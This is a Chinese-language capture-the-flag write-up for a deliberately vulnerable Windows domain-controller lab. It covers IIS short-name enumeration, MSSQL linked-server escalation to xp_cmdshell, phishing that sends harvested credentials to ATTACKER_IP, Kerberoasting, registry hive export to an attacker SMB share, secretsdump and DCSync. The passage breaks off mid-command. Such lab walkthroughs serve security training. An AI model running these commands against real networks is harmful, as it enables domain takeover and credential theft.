&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Kerberoasting/AS-REP + hashcat&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mowen:1maxwell&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Backup Operators 成员&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;注册表 Hive → DCSync&lt;/td&gt;
&lt;td&gt;&lt;code&gt;krbtgt:1e3c4fe72e1383c576b4b3aeef4730a8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;伪造 Golden Ticket&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;Golden Ticket&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Administrator&lt;/code&gt; (伪造)&lt;/td&gt;
&lt;td&gt;域管理员权限&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h1&gt;Castlevania - Attack Chain&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[信息收集] nmap 端口扫描
      ↓
[Web渗透] IIS 8.3 短文件名泄露 → 定向 fuzz → 获取数据库凭据
      ↓
[数据库] MSSQL Linked Server 配置错误 → 低权限提升至 sa
      ↓
[命令执行] xp_cmdshell → 本地命令执行 (xmcve\sqlsvc)
      ↓
[内网探测] 发现 SMTP 邮件 → 获取域用户凭据 p2zhh
      ↓
[域渗透] Kerberoasting / AS-REP Roasting → 破解 mowen 密码
      ↓
[权限提升] Backup Operators → 导出注册表 Hive
      ↓
[域控接管] secretsdump 提取 krbtgt hash → Golden Ticket
      ↓
[最终目标] 域管理员权限 → 读取 Flag
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h1&gt;Castlevania - Write Up&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/1poq3Ova62UeME9bpjgvV-R8QEuT32NFW/view?usp=sharing&quot;&gt;Bloodstained Ova&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://download.virtualbox.org/virtualbox/7.2.0/VirtualBox-7.2.0-170228-Win.exe&quot;&gt;VirtualBox Version&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;靶机信息&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IP: &lt;code&gt;192.168.0.xxx&lt;/code&gt;（根据桥接网卡不同而改变）&lt;/li&gt;
&lt;li&gt;域名: &lt;code&gt;XMCVE.local&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;主机名: &lt;code&gt;CASTLEVANIA&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;操作系统: Windows Server 2019 (域控制器)&lt;/li&gt;
&lt;li&gt;难度: 适中&lt;/li&gt;
&lt;li&gt;Flag 位置: &lt;code&gt;C:\Users\Administrator\Desktop\flag.txt&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;第一步：信息收集&lt;/h2&gt;
&lt;h3&gt;1.1 端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nmap -sT -sV -sC -p- --min-rate 5000 192.168.0.222 -oA scans/castlevania
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键端口：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;端口&lt;/th&gt;
&lt;th&gt;服务&lt;/th&gt;
&lt;th&gt;版本/说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;td&gt;Simple DNS Plus&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Microsoft IIS httpd 10.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td&gt;Kerberos&lt;/td&gt;
&lt;td&gt;域控认证服务&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;135&lt;/td&gt;
&lt;td&gt;MSRPC&lt;/td&gt;
&lt;td&gt;Windows RPC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;139&lt;/td&gt;
&lt;td&gt;NetBIOS&lt;/td&gt;
&lt;td&gt;NetBIOS Session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;389&lt;/td&gt;
&lt;td&gt;LDAP&lt;/td&gt;
&lt;td&gt;AD LDAP (XMCVE.local)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;445&lt;/td&gt;
&lt;td&gt;SMB&lt;/td&gt;
&lt;td&gt;SMBv3 (signing required)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1433&lt;/td&gt;
&lt;td&gt;MSSQL&lt;/td&gt;
&lt;td&gt;SQL Server 2016 SP2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3268&lt;/td&gt;
&lt;td&gt;LDAP GC&lt;/td&gt;
&lt;td&gt;Global Catalog&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt; SMTP 端口 25 仅在靶机本地监听（&lt;code&gt;127.0.0.1:25&lt;/code&gt;），外部 nmap 扫描不可见。需要通过 xp_cmdshell 在靶机内部发现。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;分析：&lt;/strong&gt; 目标同时运行 Web 服务、数据库和域控制器，属于单机 DC + 业务服务合一的架构。端口 88 和 389 表明这是一台域控制器，nmap 的 &lt;code&gt;ms-sql-ntlm-info&lt;/code&gt; 脚本泄露域名 &lt;code&gt;XMCVE.local&lt;/code&gt; 和主机名 &lt;code&gt;CASTLEVANIA&lt;/code&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第二步：IIS 8.3 短文件名泄露&lt;/h2&gt;
&lt;h3&gt;2.1 常规目录枚举&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gobuster dir -u http://192.168.0.222/ -w /usr/share/wordlists/dirb/common.txt -t 50
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;常规枚举无明显发现，页面仅显示 &amp;quot;Employee Portal - Under maintenance...&amp;quot;。&lt;/p&gt;
&lt;h3&gt;2.2 检测 8.3 短文件名漏洞&lt;/h3&gt;
&lt;p&gt;IIS 在 Windows 上默认启用 8.3 短文件名（NTFS 兼容特性）。可以利用 HTTP 响应差异来枚举短文件名。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 使用 shortscan 工具
shortscan http://192.168.0.222/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;发现：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[+] File: /POO_CO~1.TXT (Status: 200)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;原理：&lt;/strong&gt; Windows NTFS 会为长文件名自动生成 8.3 格式的短文件名。IIS 对存在和不存在的短文件名返回不同的 HTTP 状态码，攻击者可以逐字符枚举出短文件名。&lt;/p&gt;
&lt;h3&gt;2.3 定向 Fuzz 还原完整文件名&lt;/h3&gt;
&lt;p&gt;已知短文件名前缀为 &lt;code&gt;poo_co&lt;/code&gt;，需要 fuzz 出完整文件名：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 从字典中提取以 &amp;quot;co&amp;quot; 开头的单词
grep -i &amp;quot;^co&amp;quot; /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt &amp;gt; co_fuzz.txt

# 定向 fuzz
wfuzz -c -w co_fuzz.txt -u &amp;quot;http://192.168.0.222/poo_FUZZ.txt&amp;quot; --hc 404
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;命中：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;000000XXX:   200   C=XXL   &amp;quot;connection&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;完整文件名为 &lt;code&gt;poo_connection.txt&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;2.4 读取凭据文件&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -s http://192.168.0.222/poo_connection.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;server=localhost;
user=wuwupor;
password=lovlyBaby
database=master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;收获：&lt;/strong&gt; 获得 MSSQL 数据库凭据 &lt;code&gt;wuwupor:lovlyBaby&lt;/code&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第三步：MSSQL Linked Server 提权&lt;/h2&gt;
&lt;h3&gt;3.1 连接数据库&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;impacket-mssqlclient wuwupor:lovlyBaby@192.168.0.222
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功登录。&lt;/p&gt;
&lt;h3&gt;3.2 检查当前权限&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT SYSTEM_USER;
-- 输出: wuwupor

SELECT IS_SRVROLEMEMBER(&amp;#39;sysadmin&amp;#39;);
-- 输出: 0 (非 sysadmin，权限很低)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.3 枚举 Linked Server&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT srvname FROM sysservers;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;CASTLEVANIA
POO_CONFIG
POO_PUBLIC
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现名为 &lt;code&gt;POO_CONFIG和POO_PUBLIC&lt;/code&gt; 的 Linked Server。&lt;/p&gt;
&lt;h3&gt;3.4 通过 Linked Server 提权&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 检查通过 Linked Server 执行时的身份
EXEC (&amp;#39;EXEC (&amp;#39;&amp;#39;SELECT SUSER_NAME();&amp;#39;&amp;#39;) AT [POO_PUBLIC]&amp;#39;) AT [POO_CONFIG];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键发现！&lt;/strong&gt; Linked Server &lt;code&gt;POO_CONFIG&lt;/code&gt; 配置错误，将所有登录映射到 &lt;code&gt;sa&lt;/code&gt; 账户。这意味着低权限的 &lt;code&gt;wuwupor&lt;/code&gt; 可以通过 Linked Server 以 &lt;code&gt;sa&lt;/code&gt; 身份执行任意 SQL 命令。&lt;/p&gt;
&lt;h3&gt;3.5 通过 xp_cmdshell 获取命令执行&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 通过 Linked Server 以 sa 身份执行系统命令
EXEC (&amp;#39;EXEC (&amp;#39;&amp;#39;xp_cmdshell &amp;#39;&amp;#39;&amp;#39;&amp;#39;whoami&amp;#39;&amp;#39;&amp;#39;&amp;#39; &amp;#39;&amp;#39;) AT [POO_PUBLIC]&amp;#39;) AT [POO_CONFIG];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;xmcve\sqlsvc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功获得操作系统命令执行权限，当前身份为域用户 &lt;code&gt;xmcve\sqlsvc&lt;/code&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第四步：SMTP 钓鱼攻击 - 获取域用户凭据&lt;/h2&gt;
&lt;h3&gt;4.1 发现 SMTP 服务&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;EXEC (&amp;#39;EXEC (&amp;#39;&amp;#39;xp_cmdshell &amp;#39;&amp;#39;&amp;#39;&amp;#39;netstat -ano ^| findstr LISTENING&amp;#39;&amp;#39;&amp;#39;&amp;#39; &amp;#39;&amp;#39;) AT [POO_PUBLIC]&amp;#39;) AT [POO_CONFIG];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现 25 端口（SMTP）正在监听。&lt;/p&gt;
&lt;h3&gt;4.2 在 Kali 上启动监听器&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 方法一：简单 nc（每次只捕获一个 POST，需重复）
nc -lnvp 80

# 方法二：Python 持久监听（推荐，可捕获所有 POST）
python3 -c &amp;quot;
from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
    def do_POST(self):
        body = self.rfile.read(int(self.headers.get(&amp;#39;Content-Length&amp;#39;,0))).decode()
        print(f&amp;#39;[+] {body}&amp;#39;)
        self.send_response(200); self.end_headers(); self.wfile.write(b&amp;#39;OK&amp;#39;)
    def log_message(self,*a): pass
HTTPServer((&amp;#39;0.0.0.0&amp;#39;,80),H).serve_forever()
&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.3 SMTP-钓鱼邮件&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt; 考点在于swaks邮件欺骗，SMTP 端口 25 仅在靶机本地监听，外部无法直接访问。攻击者可以通过代理转发进行swaks欺骗，也可以通过已获得的 xp_cmdshell 在靶机本地发送邮件&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 通过 Linked Server 以 sa 身份，利用 xp_cmdshell 调用 PowerShell 发送邮件
EXEC (&amp;#39;EXEC (&amp;#39;&amp;#39;xp_cmdshell &amp;#39;&amp;#39;&amp;#39;&amp;#39;powershell -Command &amp;quot;Send-MailMessage -To xxxxxx@XMCVE.local -From xxxxxx@XMCVE.local -Subject test -Body http://ATTACKER_IP/ -SmtpServer 127.0.0.1&amp;quot;&amp;#39;&amp;#39;&amp;#39;&amp;#39; &amp;#39;&amp;#39;) AT [POO_PUBLIC]&amp;#39;) AT [POO_CONFIG];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;http://ATTACKER_IP/&quot;&gt;http://ATTACKER_IP/&lt;/a&gt;  这里替换为监听端口的ip地址&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;swaks ----from xxxxxx@XMCVE.local --body &amp;quot;citrix http://ATTACKER_IP/&amp;quot; --server $_IP
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;推荐使用kali工具swaks进行欺骗枚举&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;替换说明：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ATTACKER_IP&lt;/code&gt;: 你的 Kali IP（如 192.168.0.108）&lt;/li&gt;
&lt;li&gt;邮件正文只需包含 URL，Bot 会自动提取并访问&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3&gt;4.4 捕获凭据&lt;/h3&gt;
&lt;p&gt;靶机上有邮件处理机器人，会模拟用户点击邮件中的链接并提交登录凭据。在 nc 监听器上会陆续收到多个 POST 请求：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;connect to [ATTACKER_IP] from (UNKNOWN) [TARGET_IP] XXXXX
POST /remote/auth/login.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...
Host: ATTACKER_IP

LoginType=Explicit&amp;amp;user=pr3d1ct&amp;amp;password=yuyan_crypto&amp;amp;domain=XMCVE.LOCAL
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt; 每次只能捕获一个 POST（nc 收到后会断开）。需要重复发送钓鱼邮件并重启 nc 监听，共捕获 4 组凭据：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;用户名&lt;/th&gt;
&lt;th&gt;密码&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;pr3d1ct&lt;/td&gt;
&lt;td&gt;yuyan_crypto&lt;/td&gt;
&lt;td&gt;噪声账户（非域用户）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;p2zhh&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;p2zhh_web&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;有效域用户 ← 关键&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;aomr&lt;/td&gt;
&lt;td&gt;aomr_reverse&lt;/td&gt;
&lt;td&gt;噪声账户（非域用户）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;berial&lt;/td&gt;
&lt;td&gt;berial_pwn&lt;/td&gt;
&lt;td&gt;噪声账户（非域用户）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;原理：&lt;/strong&gt; 这是一个经典的钓鱼攻击场景。攻击者发送包含恶意 URL 的邮件，目标用户点击链接后会被重定向到攻击者控制的假登录页面，输入的凭据被攻击者捕获。&lt;/p&gt;
&lt;p&gt;将所有用户名保存到 &lt;code&gt;users.txt&lt;/code&gt;，密码保存到 &lt;code&gt;passwd.txt&lt;/code&gt;，用于下一步验证。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;收获：&lt;/strong&gt; 获得多组用户名密码，其中 &lt;code&gt;p2zhh:p2zhh_web&lt;/code&gt; 是关键。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第五步：域用户验证&lt;/h2&gt;
&lt;h3&gt;5.1 Kerbrute 用户枚举&lt;/h3&gt;
&lt;p&gt;将邮件中的用户名保存到 &lt;code&gt;users.txt&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;pr3d1ct
aomr
p2zhh
berial
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;kerbrute userenum -d XMCVE.local users.txt --dc 192.168.0.222
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;确认 &lt;code&gt;p2zhh&lt;/code&gt; 为有效域用户。&lt;/p&gt;
&lt;h3&gt;5.2 CrackMapExec 验证凭据&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;crackmapexec smb 192.168.0.222 -u p2zhh -p p2zhh_web
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SMB  192.168.0.222  445  CASTLEVANIA  [+] XMCVE.local\p2zhh:p2zhh_web
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;凭据有效，&lt;code&gt;p2zhh&lt;/code&gt; 是一个合法的域用户。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第六步：Kerberoasting / AS-REP Roasting&lt;/h2&gt;
&lt;h3&gt;6.1 Kerberoasting（路径 A）&lt;/h3&gt;
&lt;p&gt;利用 &lt;code&gt;p2zhh&lt;/code&gt; 的域用户身份查询设置了 SPN 的账户：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;impacket-GetUserSPNs XMCVE.local/p2zhh:p2zhh_web -dc-ip 192.168.0.222 -request
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ServicePrincipalName                    Name    MemberOf
--------------------------------------  ------  --------------------------------
HTTP/CASTLEVANIA.XMCVE.local            mowen   CN=Backup Operators,CN=Builtin,...

$krb5tgs$23$*mowen$XMCVE.LOCAL$HTTP/CASTLEVANIA.XMCVE.local*$...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键发现：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用户 &lt;code&gt;mowen&lt;/code&gt; 设置了 SPN，可以进行 Kerberoasting&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mowen&lt;/code&gt; 是 &lt;strong&gt;Backup Operators&lt;/strong&gt; 组成员（这在后续步骤中非常重要）&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;6.2 AS-REP Roasting（路径 B）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;impacket-GetNPUsers XMCVE.local/ -dc-ip 192.168.0.222 -usersfile users.txt -no-pass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$krb5asrep$23$mowen@XMCVE.LOCAL:...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;mowen&lt;/code&gt; 账户设置了 &amp;quot;不需要 Kerberos 预认证&amp;quot;（DoesNotRequirePreAuth），可以直接获取 AS-REP hash。&lt;/p&gt;
&lt;h3&gt;6.3 离线破解&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Kerberoasting hash (TGS-REP, mode 13100)
hashcat -m 13100 tgs_hash.txt /usr/share/wordlists/rockyou.txt

# 或 AS-REP hash (mode 18200)
hashcat -m 18200 asrep_hash.txt /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;破解结果：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;mowen:1maxwell
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;第七步：域枚举 - 确认 Backup Operators&lt;/h2&gt;
&lt;h3&gt;7.1 LDAP 信息收集&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ldapdomaindump -u &amp;#39;XMCVE.local\mowen&amp;#39; -p &amp;#39;1maxwell&amp;#39; 192.168.0.222
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看生成的 HTML/JSON 文件，确认 &lt;code&gt;mowen&lt;/code&gt; 的组成员关系：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;MemberOf: CN=Backup Operators,CN=Builtin,DC=XMCVE,DC=local
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;分析：&lt;/strong&gt; Backup Operators 组成员拥有备份系统文件的特权，包括读取注册表 Hive（SAM、SYSTEM、SECURITY），这些 Hive 中包含域内所有账户的哈希值。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第八步：Backup Operators 权限利用&lt;/h2&gt;
&lt;h3&gt;方法一&lt;/h3&gt;
&lt;h4&gt;8.1 启动攻击机 SMB 共享&lt;/h4&gt;
&lt;p&gt;在 Kali 上启动一个 SMB 共享，用于接收导出的注册表文件：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdir /tmp/share
impacket-smbserver -smb2support share /tmp/share
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;8.2 远程注册表备份&lt;/h4&gt;
&lt;p&gt;利用 &lt;code&gt;mowen&lt;/code&gt; 的 Backup Operators 权限，远程导出注册表 Hive：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 方法一：直接导出到攻击机 SMB 共享（需要靶机出站 445 可达）
impacket-reg XMCVE.local/mowen:1maxwell@192.168.0.222 backup -o \\&amp;lt;ATTACKER_IP&amp;gt;\share

# 方法二：导出到靶机本地路径（推荐，避免出站 SMB 被防火墙拦截）
impacket-reg XMCVE.local/mowen:1maxwell@192.168.0.222 backup -o &amp;#39;C:\Windows\Temp\hives&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt; 如果方法一报 &lt;code&gt;ERROR_PATH_NOT_FOUND&lt;/code&gt;，说明靶机无法访问攻击机的 SMB 共享（出站 445 被阻断）。使用方法二将 Hive 保存到靶机本地，再通过 smbclient 下载：&lt;/p&gt;
&lt;p&gt;如果 C$ 也无权限，可通过其他已有的命令执行通道（如 xp_cmdshell）将文件拷贝到可访问的位置。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;smbclient &amp;#39;//192.168.0.222/C$&amp;#39; -U &amp;#39;XMCVE/mowen%1maxwell&amp;#39; -c &amp;#39;mkdir Windows\Temp\hives&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;smbclient &amp;#39;//192.168.0.222/C$&amp;#39; -U &amp;#39;XMCVE/mowen%1maxwell&amp;#39; -c &amp;#39;cd Windows\Temp\hives; get SAM.save; get SYSTEM.save; get SECURITY.save&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;生成文件：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SAM.save      (24 KB)
SYSTEM.save   (15 MB)
SECURITY.save (40 KB)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;原理：&lt;/strong&gt; Backup Operators 组成员拥有 &lt;code&gt;SeBackupPrivilege&lt;/code&gt;，允许读取系统上任何文件，包括受保护的注册表 Hive。&lt;code&gt;impacket-reg&lt;/code&gt; 通过远程注册表服务（RemoteRegistry）执行 &lt;code&gt;RegSaveKey&lt;/code&gt; 操作，将 Hive 导出到指定路径。&lt;/p&gt;
&lt;h3&gt;方法二&lt;/h3&gt;
&lt;h4&gt;IIS存储&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;impacket-reg XMCVE.local/mowen:1maxwell@192.168.0.222 backup -o &amp;#39;C:\inetpub\wwwroot&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;浏览器访问（iis默认配置不可以访问save文件，管理员已对iis配置文件进行了修改）&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第九步：提取 krbtgt Hash&lt;/h2&gt;
&lt;h3&gt;离线解析 Hive&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;impacket-secretsdump -system /tmp/share/SYSTEM.save -security /tmp/share/SECURITY.save -sam /tmp/share/SAM.save LOCAL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;输出（关键部分）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:85ef092d9016422943e90d8a9dd7be0d

[*] DefaultPassword
(Unknown User):jU@Li&amp;amp;us@!#!

[*] _SC_MSSQLSERVER
(Unknown User):Sql!2026
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键发现：&lt;/strong&gt; &lt;code&gt;$MACHINE.ACC&lt;/code&gt; 是域控的机器账户（&lt;code&gt;CASTLEVANIA$&lt;/code&gt;）NTLM hash。在域控上，机器账户拥有 DCSync 权限，可以用它提取 &lt;code&gt;krbtgt&lt;/code&gt; hash。&lt;/p&gt;
&lt;h2&gt;第十步：黄金票据伪造&lt;/h2&gt;
&lt;h3&gt;利用机器账户 DCSync 提取 krbtgt&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;impacket-secretsdump -hashes &amp;#39;aad3b435b51404eeaad3b435b51404ee:85ef092d9016422943e90d8a9dd7be0d&amp;#39; \
